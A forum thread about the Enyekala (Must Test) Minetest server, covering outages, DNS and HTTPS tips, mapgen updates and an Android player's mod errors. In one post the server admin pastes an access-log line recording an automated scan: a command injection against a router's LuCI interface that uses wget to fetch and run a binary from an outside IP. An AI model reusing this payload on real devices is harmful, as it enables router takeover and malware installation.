[Server] Enyekala (Must Test)

not2stressed
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Re: [Server] Must Test

by not2stressed » Post

Thanks for the update, that would explain why I can't get my Enyekala fix!

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UncleBob
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Re: [Server] Must Test

by UncleBob » Post

Thanks for the heads up Dragon, was wondering until I came here. Haven't seen you about in ages, you haven't finished your builds yet! -____________-

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Re: [Server] Must Test

by hlqkj » Post

I wonder if this has anything to do with the bug report I sent your ISP? They said (lit.) it opened a huge can of worms!
Quando omni flunkus, moritati.

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Re: [Server] Must Test

by 843jdc » Post

Just an ISP problem? Good. Started to wonder if the server's hardware had been bombed.

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Re: [Server] Must Test

by hlqkj » Post

843jdc! Glad to see you around! (Here, at least...?)
I'll be honest: many of us started to wonder if the cats got you! :-)
Quando omni flunkus, moritati.

not2stressed
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Re: [Server] Must Test

by not2stressed » Post

Whilst we are waiting for wonderful things to happen to the server's internet connection, here is a tip: Eating mutton temporarily reduces certain types of damage. Eat well, mine well! Is that BBQ hot yet?

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Re: [Server] Must Test

by 843jdc » Post

"Is that BBQ hot yet?"
lol

hlqkj - One of Eve Online's alliances recruited me to help them take over and rule the galaxy. So I will be there until about November. Though I'll be looking in on the server occasionally.

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GoldFireUn
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Re: [Server] Must Test

by GoldFireUn » Post

Looks like the server is back in business! For several hours there it was a bit spotty. I couldn't even log in remotely although a few others managed to.

In other news, during the outage I am pretty sure I discovered a mapgen bug affecting vanilla Minetest, which only manifests if 'num_emerge_threads' is 0 (i.e., autodetect num cores). I might file a bug report, if someone more competent at bug reports doesn't do so first.

In further news, I will probably need to buy a high-capacity spinning HDD in the next 2-3 months. The backups continue to ... grow.

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Re: [Server] Must Test

by not2stressed » Post

For those who have made an entry in their hosts file (or whatever way you may have used) to get around ongoing DNS issues, it looks like the IP address of the server has changed.

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GoldFireUn
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Re: [Server] Must Test

by GoldFireUn » Post

People are putting the IP in their hosts?

Eww.

In seriousness though, I've been hearing rumblings from various folks about DNS issues for a long time now. About half the time I couldn't even get the webpage from remote; I figured maybe the link was slow or apache was misconfigured. Seems I may be wrong: today I got a new domain from ClouDNS, and testing it, I can bring up the website much faster with the new domain than with the old.

And what's with this SSL thing my webbrowser keeps insisting on? Do I need these strange magics?

[Edit] It's http://arklegacy-server.net
The old address will continue to work, of course (it's free after all)

not2stressed
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Re: [Server] Must Test

by not2stressed » Post

GoldFireUn wrote:
Tue Jun 11, 2024 05:25
People are putting the IP in their hosts?
Eww.
Yes. Not pretty, but it's been the only way for me to get a reliable connection as there have been ongoing DNS issues. I think others have done the same. I'll need to update a few "other" things with the new domain name now!

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Re: [Server] Must Test

by hlqkj » Post

GoldFireUn wrote:
Tue Jun 11, 2024 05:25
And what's with this SSL thing my webbrowser keeps insisting on? Do I need these strange magics?
Need? Not at all! The website has nothing as sensitive as to justify that. The problem is that some browsers have started to enforce policies that automagically promote the connection to HTTPS, blocking their users (or making their lives a bit harder, depending on their skills) when they try to connect to a website that does not provide such a thing.

If you don't know it already, Let's Encrypt may help. (https://letsencrypt.org/ - note the s.)
Quando omni flunkus, moritati.

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Re: [Server] Enyekala (Must Test)

by GoldFireUn » Post

Update to the Jarkati mapgen.

Not only is it now "doubleplusgood", but these extensive glowing crystalline structures can be found throughout the otherwise mostly-barren caverns. These crystals are NOT renewable, but they can be transmuted into something else ....

Just need lava, water, and an ore underneath.

Image
<UncleBob> Well, this white crystal can find itself
In other news, I gather from reading the chatlog that UncleBob met with a gang of flying menaces and was promptly kicked off a ledge. Adventures should note that this was an entirely unexpected development. Previously Jarkati had been relatively safe.
------------------------------------------------------------------

In further news, who is the creep that keeps sending me this GET request? *slap*
84.54.51.37 - - [11/Jun/2024:18:32:31 -0500] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F94.156.71.81%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60) HTTP/1.1" 404 438 "-" "Go-http-client/1.1"
Edit: automated vulnerability scanning by bad bots. I see.

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Re: [Server] Enyekala (Must Test)

by dxt_73 » Post

Hey goldfireun
Can you help me make the musttest_game playable in singleplayer?

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Re: [Server] Enyekala (Must Test)

by dxt_73 » Post

2024-06-12 18:44:15: WARNING[Main]: Will not load: /storage/emulated/0/Android/data/se.voxelmanip.rollertest/files/Minetest/games/musttest_game-main/mods/bonemeal
2024-06-12 18:45:36: ERROR[Main]: [networks] failed to load insecure environment, please add this mod to the trusted mods list.
2024-06-12 18:45:36: ERROR[Main]: ModError: Failed to load and run script from /storage/emulated/0/Android/data/se.voxelmanip.rollertest/files/Minetest/games/musttest_game-main/mods/networks/init.lua:
2024-06-12 18:45:36: ERROR[Main]: ...est/games/musttest_game-main/mods/networks/nodestore.lua:362: assertion failed!
2024-06-12 18:45:36: ERROR[Main]: stack traceback:
2024-06-12 18:45:36: ERROR[Main]: [C]: in function 'assert'
2024-06-12 18:45:36: ERROR[Main]: ...est/games/musttest_game-main/mods/networks/nodestore.lua:362: in main chunk
2024-06-12 18:45:36: ERROR[Main]: [C]: in function 'df'
2024-06-12 18:45:36: ERROR[Main]: ...s/Minetest/games/musttest_game-main/mods/reload/init.lua:73: in function 'dofile'
2024-06-12 18:45:36: ERROR[Main]: ...Minetest/games/musttest_game-main/mods/networks/init.lua:294: in main chunk
2024-06-12 18:45:36: ERROR[Main]: Hãy kiểm tra debug.txt để có thông tin chi tiết.
2024-06-12 18:45:36: ACTION[Main]: Server: Shutting down

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GoldFireUn
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Re: [Server] Enyekala (Must Test)

by GoldFireUn » Post

Unfortunately I can't, because I don't know anything about the Android environment or how to install stuff from its command line, and musttest_game needs a couple Lua packages installed this way. "networks" and "email" need an extra luarocks package (sql iirc), for instance.

I can decode the error message though. It says you need to disable mod security. However, an end-user should *never do this*, because if you install the wrong mod then your documents go bye-bye.

There's a few people who've got it working on PC, but it's not easy.

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Re: [Server] Enyekala (Must Test)

by dxt_73 » Post

GoldFireUn wrote:
Wed Jun 12, 2024 12:33
Unfortunately I can't, because I don't know anything about the Android environment or how to install stuff from its command line, and musttest_game needs a couple Lua packages installed this way. "networks" and "email" need an extra luarocks package (sql iirc), for instance.

I can decode the error message though. It says you need to disable mod security. However, an end-user should *never do this*, because if you install the wrong mod then your documents go bye-bye.

There's a few people who've got it working on PC, but it's not easy.
Ok now how I add "network" mod to trusted mod list?

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Re: [Server] Enyekala (Must Test)

by not2stressed » Post

Shiny new crystals:

Image
Image

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Re: [Server] Enyekala (Must Test)

by GoldFireUn » Post

dxt_73 wrote:
Wed Jun 12, 2024 14:45
Ok now how I add "network" mod to trusted mod list?
You'll find the relevant options in https://github.com/minetest/minetest/bl ... nf.example

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Re: [Server] Enyekala (Must Test)

by dxt_73 » Post

The android environment is same with windows one, just add control
Am added networks to trusted mods list
But it still unplayable
Cannot join singleplayer game:

2024-06-13 10:26:23: ERROR[Main]: ModError: Failed to load and run script from /storage/emulated/0/Android/data/se.voxelmanip.rollertest/files/Minetest/games/musttest_game-main/mods/networks/init.lua:
ModError: Failed to load and run script from /storage/emulated/0/Android/data/se.voxelmanip.rollertest/files/Minetest/games/musttest_game-main/mods/networks/init.lua:
2024-06-13 10:26:23: ERROR[Main]: ...Minetest/games/musttest_game-main/mods/networks/init.lua:10: module 'lsqlite3' not found:
2024-06-13 10:26:23: ERROR[Main]: no field package.preload['lsqlite3']
2024-06-13 10:26:23: ERROR[Main]: no file './lsqlite3.lua'
2024-06-13 10:26:23: ERROR[Main]: no file '/usr/local/share/luajit-2.1/lsqlite3.lua'
2024-06-13 10:26:23: ERROR[Main]: no file '/usr/local/share/lua/5.1/lsqlite3.lua'
2024-06-13 10:26:23: ERROR[Main]: no file '/usr/local/share/lua/5.1/lsqlite3/init.lua'
2024-06-13 10:26:23: ERROR[Main]: no file './lsqlite3.so'
2024-06-13 10:26:23: ERROR[Main]: no file '/usr/local/lib/lua/5.1/lsqlite3.so'
2024-06-13 10:26:23: ERROR[Main]: no file '/usr/local/lib/lua/5.1/loadall.so'
2024-06-13 10:26:23: ERROR[Main]: stack traceback:
2024-06-13 10:26:23: ERROR[Main]: [C]: in function 'require'
2024-06-13 10:26:23: ERROR[Main]: ...Minetest/games/musttest_game-main/mods/networks/init.lua:10: in main chunk

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GoldFireUn
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Re: [Server] Enyekala (Must Test)

by GoldFireUn » Post

It's looking for 'lsqlite3' and can't find it. This is an external module for Lua, so, not part of Minetest. I have no idea how to install it on Android, you'll need to ask someone who knows.

Edit: I've always installed lsqlite3 on my machine(s) using LuaRocks. However, the website for LuaRocks doesn't explicitly mention support for Android at all. You're way outside my area of expertise.

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Re: [Server] Enyekala (Must Test)

by GoldFireUn » Post

UncleBob uploaded a HISTORY video! (see here: https://odysee.com/@Unboblievable:0/47-yandoa:7)

One thing not mentioned in the video, because it can only be seen from INSIDE the jail ...

Image
Image

The text is "sagalost: this gaol was designed specifically for your type."


--------------------------
Edit:

In other news, dungeons have received a little TLC. More chests, more options for loot, and more ways to die.

As I write this, I wonder if I should implement those nasty traps I once saw in a mod, called mummies I think ... It had desert pyramids.

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Re: [Server] Enyekala (Must Test)

by DragonsVolcanoDance » Post

Very entertaining video haha. Please continue this series UncleBob. :D

For anyone interested in what "basalt factory" means in the context of UncleBob's history video...

Here's what Extrem's base looked like after I remodeled:

Image

It's actually against the server rules to do this to other's builds, don't try this at home kids.
It's a good thing that Extrem's "base" doesn't count as a "build." ;)

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UncleBob
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Re: [Server] Enyekala (Must Test)

by UncleBob » Post

Wow, this new Jarkati and Channelwood mapgen looks amazing. I just have to get enough courage (and coordination) to venture out again... and find more dungeons...

Thanks for the comments - more history videos planned, time permitting. Hmm, there's some unusual and hilarious things to find in Enyekala history!

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Re: [Server] Enyekala (Must Test)

by 3and20 » Post

Hello S'me Fez. Don't know why I haven't logged into the forum before? But I'm here now ;D

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